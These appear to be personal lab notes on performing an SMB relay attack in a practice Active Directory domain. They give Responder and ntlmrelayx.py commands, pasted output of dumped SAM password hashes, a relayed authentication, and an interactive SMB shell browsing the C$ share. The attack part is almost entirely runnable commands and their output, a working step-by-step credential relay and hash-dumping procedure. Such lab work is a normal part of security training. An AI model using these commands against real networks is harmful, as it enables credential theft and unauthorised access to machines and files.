The domain controller has enable and required, we wont relay on this machine.
SMB Relay Attack
Attack 1st way
In responder config (Responder.conf) we put http and smb on off
Responder command responder -I eth0 -rdwv
Launch ntlmrelayx.py (our target ips are in targets.txt) ntlmrelayx.py -tf targets.txt -smb2support
We should get som hashes on our kali
[*] Done dumping SAM hashes for host: 10.0.2.4Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::WDAGUtilityAccount:504:aad3b435b51404eeaad3b435b51404ee:25e61d7e5702c678e3be8711c03b7837:::JessicaJones:1001:aad3b435b51404eeaad3b435b51404ee:c39f2beb3d2ec06a62cb887fb391dee0:::
Attack 2nd way
We launch Responder (with http and smb off), we launch ntlmrelayx.py just like befor but with -i to try to get an interactive shell. ntlmrelayx.py -tf targets.txt -smb2support -i
It should work and mention that we got a shell
[*] Servers started, waiting for connections[*] SMBD-Thread-3: Received connection from 10.0.2.15, attacking target smb://10.0.2.4[*] Authenticating against smb://10.0.2.4 as MARVEL\fcastle SUCCEED[*] Started interactive SMB client shell via TCP on 127.0.0.1:11000[STRIPPED]
We can netcat to get the shell: nc 127.0.0.1 11000
We have an smb shell:
└─#nc127.0.0.111000Typehelpforlistofcommands# helpopen{host,port=445}-opensaSMBconnectionagainstthetargethost/portlogin {domain/username,passwd} - logs into the current SMB connection, no parameters for NULL connection. If no password specified, it'll be prompted
kerberos_login {domain/username,passwd} - logs into the current SMB connection using Kerberos. If no password specified, it'll be prompted. Use the DNS resolvable domain name
login_hash{domain/username,lmhash:nthash}-logsintothecurrentSMBconnectionusingthepasswordhasheslogoff-logsoffshares-listavailablesharesuse{sharename}-connecttoanspecificsharecd{path}-changesthecurrentdirectoryto{path}lcd{path}-changesthecurrentlocaldirectoryto{path}pwd-showscurrentremotedirectorypassword-changestheuserpassword,thenewpasswordwillbepromptedforinputls{wildcard}-listsallthefilesinthecurrentdirectoryrm{file}-removestheselectedfilemkdir{dirname}-createsthedirectoryunderthecurrentpathrmdir{dirname}-removesthedirectoryunderthecurrentpathput{filename}-uploadsthefilenameintothecurrentpathget{filename}-downloadsthefilenamefromthecurrentpathmount{target,path}-createsamountpointfrom{path}to{target} (admin required)umount{path}-removesthemountpointat{path}withoutdeletingthedirectory (admin required)info-returnsNetrServerInfomainresultswho-returnsthesessionscurrentlyconnectedatthetargethost (admin required)close-closesthecurrentSMBSessionexit-terminatestheserverprocess (and thissession)# sharesADMIN$C$IPC$Share# use C$# lsdrw-rw-rw-0FriJan2819:29:182022 $Recycle.Bindrw-rw-rw-0FriJan2820:21:232022DocumentsandSettings-rw-rw-rw-8192SatJan2916:14:202022DumpStack.log.tmp-rw-rw-rw-1543503872SatJan2916:14:202022pagefile.sysdrw-rw-rw-0FriJan2820:18:412022PerfLogsdrw-rw-rw-0FriJan2817:29:122022ProgramFilesdrw-rw-rw-0FriJan2820:18:412022ProgramFiles (x86)drw-rw-rw-0FriJan2819:26:152022ProgramDatadrw-rw-rw-0FriJan2820:21:292022Recoverydrw-rw-rw-0FriJan2819:33:382022Share-rw-rw-rw-268435456SatJan2916:14:202022swapfile.sysdrw-rw-rw-0FriJan2817:21:442022SystemVolumeInformationdrw-rw-rw-0FriJan2819:28:212022Usersdrw-rw-rw-0FriJan2817:23:302022Windows#
Note: ntlmrelayx.py is really powerfull and has many commands, we could even launch other shells.